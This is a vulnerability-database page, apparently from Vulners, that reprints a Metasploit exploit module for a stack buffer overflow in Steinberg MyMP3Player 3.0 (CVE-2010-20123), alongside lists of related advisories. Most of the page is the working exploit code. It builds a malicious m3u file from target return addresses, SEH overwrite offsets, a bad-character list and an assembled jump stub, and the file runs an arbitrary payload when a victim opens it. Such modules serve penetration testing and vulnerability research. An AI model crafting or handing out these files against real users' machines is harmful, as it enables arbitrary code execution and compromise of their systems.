Lucene search
+L

Steinberg MyMP3Player 3.0 Buffer Overflow

🗓️ 18 Mar 2010 00:00:00Reported by n3w7u, m_101Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 25 Views

Exploits buffer overflow in Steinberg MyMP3Player 3.0 when opening specially crafted m3u fil

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2010-20123
21 Aug 202520:14
–attackerkb
circl
Circl
CVE-2010-20123
29 May 201815:50
–circl
cnnvd
CNNVD
Steinberg MyMP3Player 安全漏洞
21 Aug 202500:00
–cnnvd
cve
CVE
CVE-2010-20123
21 Aug 202520:14
–cve
cvelist
Cvelist
CVE-2010-20123 Steinberg MyMP3Player <= 3.0.0.67 Buffer Overflow
21 Aug 202520:14
–cvelist
euvd
EUVD
EUVD-2010-5324
7 Oct 202500:30
–euvd
nvd
NVD
CVE-2010-20123
21 Aug 202521:15
–nvd
ptsecurity
Positive Technologies
PT-2025-34312 · Steinberg · Mymp3Player
21 Aug 202500:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2010-20123: Stack-based Buffer Overflow
21 Aug 202500:00
–rapid7
redhatcve
RedhatCVE
CVE-2010-20123
23 Aug 202521:22
–redhatcve
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Steinberg MyMP3Player 3.0 Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in Steinberg MyMP3Player == 3.0. When
          the application is used to open a specially crafted m3u file, a buffer overflow occurs
          allowing arbitrary code execution.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'n3w7u', # original
          'm_101'
        ],
        'References' => [
          [ 'CVE', '2010-20123' ],
          [ 'OSVDB', '64580'],
          [ 'EDB', '11791' ],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => true
        },
        'Payload' => {
          'Space' => 900,
          'BadChars' => "\x00\x0a\x0d\x5c",
          'DisableNops' => true,
          'PrependEncoder' => "\x81\xc4\xf0\xef\xff\xff"
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Windows Universal', { 'Ret' => 0x0043bea3 } ], # call ecx in My MP3.exe v3.0.0.67
          [ 'Windows Universal (SEH)', { 'Ret' => 0x00403e68 } ], # p/p/r in My MP3.exe v3.0.0.67
          [ 'Windows XP SP3 French', { 'Ret' => 0x72c6170b } ], # seh return in msacm.drv
        ],
        'Privileged' => false,
        'DisclosureDate' => '2010-03-18',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),
      ]
    )
  end

  def exploit
    # direct ret overwrite at offset 1024
    # nseh overwrite at offset 1040
    ret_offset = 1024
    seh_offset = 1040

    # start with the payload
    m3u = payload.encoded

    if (target.name =~ /SEH/)
      m3u << rand_text_alphanumeric(seh_offset - m3u.length)
      # ensure bad,no-nul addr for ret (trigger SEH)
      m3u[ret_offset, 4] = [0xc0010101 | rand(0xffffffff)].pack('V')

      # We utilize a small stub near the end of the buffer space to
      # continue to the real shellcode...
      # NOTE: the push is to avoid a badchar (0x5c)
      stub = <<~EOF
        push ecx
        sub esp,-0x1a8
        ret
      EOF
      stub = Metasm::Shellcode.assemble(Metasm::Ia32.new, stub).encode_string
      m3u[seh_offset - stub.length, stub.length] = stub

      # Jump back to the stub
      jmp2 = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + stub.length.to_s).encode_string
      seh = ''
      seh << jmp2
      seh << rand_text(2)
      seh << [target.ret].pack('V')
      m3u << seh
    else
      m3u << rand_text_alphanumeric(1024 - m3u.length)
      m3u << [target.ret].pack('V')
    end

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(m3u)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Mar 2010 00:00Current
6.3Medium risk
Vulners AI Score6.3
CVSS 48.4
EPSS0.00345
SSVC
25